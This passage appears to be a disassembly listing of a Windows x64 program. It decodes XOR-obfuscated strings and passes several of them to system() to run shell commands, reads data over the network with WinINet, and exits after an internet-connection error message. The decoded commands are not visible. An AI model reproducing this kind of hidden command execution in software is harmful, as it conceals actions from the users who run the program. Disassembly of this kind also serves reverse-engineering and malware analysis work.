mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x189f], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18a0], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18a1], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18a2], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18a3], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18a4], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18a5], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18a6], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18a7], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18a8], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18a9], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18aa], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18ab], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18ac], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18ad], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18ae], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18af], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18b0], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18b1], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18b2], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18b3], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18b4], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18b5], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18b6], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18b7], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18b8], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18b9], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18ba], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18bb], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18bc], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18bd], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18be], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18bf], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18c0], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18c1], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18c2], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18c3], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x2b
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18c4], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x2c
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18c5], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x2d
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18c6], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0x2e
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18c7], al
lea rax, [rsp + 0x18c8]
lea rax, [rsp + 0x18c8]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x2a0], 0
jmp 0x14004a126
mov rax, qword [rsp + 0x2a0]
inc rax
mov qword [rsp + 0x2a0], rax
cmp qword [rsp + 0x2a0], 0x2f
jae 0x14004a190
mov rax, qword [rsp + 0x2a0]
lea rax, [rsp + rax + 0x1899]
mov qword [rsp + 0x960], rax
mov rax, qword [rsp + 0x960]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1898]
xor eax, ecx
mov byte [rsp + 0xa7], al
mov rax, qword [rsp + 0x2a0]
lea rax, [rsp + rax + 0x1899]
mov qword [rsp + 0x968], rax
mov rax, qword [rsp + 0x968]
mov cl, byte [rsp + 0xa7]
mov byte [rax], cl
jmp 0x14004a113
mov eax, 0x2f
imul rax, rax, 1
lea rax, [rsp + rax + 0x1899]
mov qword [rsp + 0x970], rax
mov rax, qword [rsp + 0x970]
mov byte [rax], 0
lea rax, [rsp + 0x1899]
mov qword [rsp + 0x978], rax
mov rcx, qword [rsp + 0x978]
call fcn.140005fa4
mov byte [rsp + 0x14e0], 0x29
movsx eax, byte [rsp + 0x14e0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d4660]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14e1], al
movsx eax, byte [rsp + 0x14e0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d4660]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14e2], al
movsx eax, byte [rsp + 0x14e0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d4660]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14e3], al
movsx eax, byte [rsp + 0x14e0]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d4660]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14e4], al
movsx eax, byte [rsp + 0x14e0]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d4660]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14e5], al
lea rax, [rsp + 0x14e6]
lea rax, [rsp + 0x14e6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x2a8], 0
jmp 0x14004a2d9
mov rax, qword [rsp + 0x2a8]
inc rax
mov qword [rsp + 0x2a8], rax
cmp qword [rsp + 0x2a8], 5
jae 0x14004a343
mov rax, qword [rsp + 0x2a8]
lea rax, [rsp + rax + 0x14e1]
mov qword [rsp + 0x980], rax
mov rax, qword [rsp + 0x980]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14e0]
xor eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x2a8]
lea rax, [rsp + rax + 0x14e1]
mov qword [rsp + 0x988], rax
mov rax, qword [rsp + 0x988]
mov cl, byte [rsp + 0xa8]
mov byte [rax], cl
jmp 0x14004a2c6
mov eax, 5
imul rax, rax, 1
lea rax, [rsp + rax + 0x14e1]
mov qword [rsp + 0x990], rax
mov rax, qword [rsp + 0x990]
mov byte [rax], 0
lea rax, [rsp + 0x14e1]
mov qword [rsp + 0x998], rax
mov rcx, qword [rsp + 0x998]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rax, [rsp + 0x19b0]
mov qword [rsp + 0x9a0], rax
mov rax, qword [rsp + 0x9a0]
mov rcx, rax
call fcn.140005d38
lea rcx, [rsp + 0x19b0]
call fcn.1400053f8
nop
lea r9, [rsp + 0x1e4]
mov r8d, 0x1000
lea rdx, [rsp + 0x1fb0]
mov rcx, qword [rsp + 0x420]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14004a40e
cmp dword [rsp + 0x1e4], 0
jbe 0x14004a40e
mov eax, dword [rsp + 0x1e4]
mov r8d, eax
lea rdx, [rsp + 0x1fb0]
lea rcx, [rsp + 0x19b0]
call fcn.1400537cc
jmp 0x14004a3bb
xor r9d, r9d
mov r8d, 0x400
xor edx, edx
lea rcx, [rsp + 0x1c70]
call fcn.1400528fc
nop
lea rcx, [rsp + 0x19b0]
call fcn.140004df4
mov qword [rsp + 0x428], rax
mov rax, qword [rsp + 0x428]
mov qword [rsp + 0xfa0], rax
mov rax, qword [rsp + 0x428]
mov qword [rsp + 0xfa8], rax
lea rdx, [rsp + 0xfa0]
lea rcx, [rsp + 0x1c70]
call fcn.140065a00
cmp dword [rsp + 0x1cc0], 0
je 0x14004a488
mov dword [rsp + 0x1e8], 1
jmp 0x14004a493
mov dword [rsp + 0x1e8], 0
movzx eax, byte [rsp + 0x1e8]
test eax, eax
je 0x14004aef4
mov byte [rsp + 0x1548], 0x4d
movsx eax, byte [rsp + 0x1548]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d4668]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1549], al
movsx eax, byte [rsp + 0x1548]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d4668]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x154a], al
movsx eax, byte [rsp + 0x1548]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d4668]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x154b], al
movsx eax, byte [rsp + 0x1548]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d4668]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x154c], al
movsx eax, byte [rsp + 0x1548]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d4668]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x154d], al
movsx eax, byte [rsp + 0x1548]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, [0x1400d4668]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x154e], al
movsx eax, byte [rsp + 0x1548]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, [0x1400d4668]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x154f], al
lea rax, [rsp + 0x1550]
lea rax, [rsp + 0x1550]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x2b0], 0
jmp 0x14004a5f9
mov rax, qword [rsp + 0x2b0]
inc rax
mov qword [rsp + 0x2b0], rax
cmp qword [rsp + 0x2b0], 7
jae 0x14004a663
mov rax, qword [rsp + 0x2b0]
lea rax, [rsp + rax + 0x1549]
mov qword [rsp + 0x9a8], rax
mov rax, qword [rsp + 0x9a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1548]
xor eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x2b0]
lea rax, [rsp + rax + 0x1549]
mov qword [rsp + 0x9b0], rax
mov rax, qword [rsp + 0x9b0]
mov cl, byte [rsp + 0xa9]
mov byte [rax], cl
jmp 0x14004a5e6
mov eax, 7
imul rax, rax, 1
lea rax, [rsp + rax + 0x1549]
mov qword [rsp + 0x9b8], rax
mov rax, qword [rsp + 0x9b8]
mov byte [rax], 0
lea rax, [rsp + 0x1549]
mov qword [rsp + 0x9c0], rax
mov rcx, qword [rsp + 0x9c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x1780], 0x59
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1781], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1782], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1783], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1784], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1785], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1786], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1787], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1788], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1789], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x178a], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x178b], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x178c], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x178d], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x178e], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x178f], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1790], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1791], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1792], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1793], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1794], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1795], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1796], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1797], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1798], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1799], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x179a], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x179b], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x179c], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x179d], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x179e], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x179f], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17a0], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17a1], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17a2], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17a3], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17a4], al
movsx eax, byte [rsp + 0x1780]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, [0x1400d4670]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17a5], al
lea rax, [rsp + 0x17a6]
lea rax, [rsp + 0x17a6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x2b8], 0
jmp 0x14004ac8d
mov rax, qword [rsp + 0x2b8]
inc rax
mov qword [rsp + 0x2b8], rax
cmp qword [rsp + 0x2b8], 0x25
jae 0x14004acf7
mov rax, qword [rsp + 0x2b8]
lea rax, [rsp + rax + 0x1781]
mov qword [rsp + 0x9c8], rax
mov rax, qword [rsp + 0x9c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1780]
xor eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x2b8]
lea rax, [rsp + rax + 0x1781]
mov qword [rsp + 0x9d0], rax
mov rax, qword [rsp + 0x9d0]
mov cl, byte [rsp + 0xaa]
mov byte [rax], cl
jmp 0x14004ac7a
mov eax, 0x25
imul rax, rax, 1
lea rax, [rsp + rax + 0x1781]
mov qword [rsp + 0x9d8], rax
mov rax, qword [rsp + 0x9d8]
mov byte [rax], 0
lea rax, [rsp + 0x1781]
mov qword [rsp + 0x9e0], rax
mov rcx, qword [rsp + 0x9e0]
call fcn.140005fa4
mov byte [rsp + 0x14e8], 0x31
movsx eax, byte [rsp + 0x14e8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d4698]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14e9], al
movsx eax, byte [rsp + 0x14e8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d4698]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14ea], al
movsx eax, byte [rsp + 0x14e8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d4698]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14eb], al
movsx eax, byte [rsp + 0x14e8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d4698]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14ec], al
movsx eax, byte [rsp + 0x14e8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d4698]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14ed], al
lea rax, [rsp + 0x14ee]
lea rax, [rsp + 0x14ee]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x2c0], 0
jmp 0x14004ae40
mov rax, qword [rsp + 0x2c0]
inc rax
mov qword [rsp + 0x2c0], rax
cmp qword [rsp + 0x2c0], 5
jae 0x14004aeaa
mov rax, qword [rsp + 0x2c0]
lea rax, [rsp + rax + 0x14e9]
mov qword [rsp + 0x9e8], rax
